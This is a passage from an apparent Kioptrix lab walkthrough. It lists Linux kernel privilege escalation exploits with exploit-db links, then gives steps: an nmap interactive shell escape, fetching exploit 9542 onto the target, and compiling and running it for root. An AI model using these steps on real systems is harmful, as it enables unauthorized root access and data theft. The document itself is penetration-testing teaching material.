- 2.4/2.6 sock_sendpage() ring0 Root Exploit (simple ver) || http://www.exploit-db.com/exploits/9479 || Language=c
- 2.6 UDEV < 141 Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8572 || Language=c
- 2.4/2.6 sock_sendpage() Local Root Exploit [2] || http://www.exploit-db.com/exploits/9598 || Language=c
- open-time Capability file_ns_capable() Privilege Escalation || http://www.exploit-db.com/exploits/25450 || Language=c
- CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || http://www.exploit-db.com/exploits/15944 || Language=c
- 2.6.x ptrace_attach Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8673 || Language=c
- 2.x sock_sendpage() Local Ring0 Root Exploit || http://www.exploit-db.com/exploits/9435 || Language=c
- 2.4/2.6 bluez Local Root Privilege Escalation Exploit (update) || http://www.exploit-db.com/exploits/926 || Language=c
- CAP_SYS_ADMIN to root Exploit || http://www.exploit-db.com/exploits/15916 || Language=c
- 2.4/2.6 sock_sendpage() Local Root Exploit (ppc) || http://www.exploit-db.com/exploits/9545 || Language=c
- 2.6 UDEV Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8478 || Language=c
- MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c
- Sendpage Local Privilege Escalation || http://www.exploit-db.com/exploits/19933 || Language=ruby**
- 2.4/2.6 sock_sendpage() Local Root Exploit [3] || http://www.exploit-db.com/exploits/9641 || Language=c
- 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/895 || Language=c
Finished
=================================================================================================
Start the Nmap in the Kioptrix server.
nmap --interactive
!sh
id
pwd
6. Find the exploit method related to the Linux version 2.6.9-55.EL on the Exploit Database.
https://www.exploit-db.com/exploits/9542
Down load the exploit file to the Kali Linux and copy it to the /var/www/html folder.
Down load the exploit file to the /tmp folder on Kioptirx Server.
Build and execute the exploit file. Ahaaa! We get the root privilege now.
gcc 9542.c -o exploit
7. We can find more confidential information with root privilege.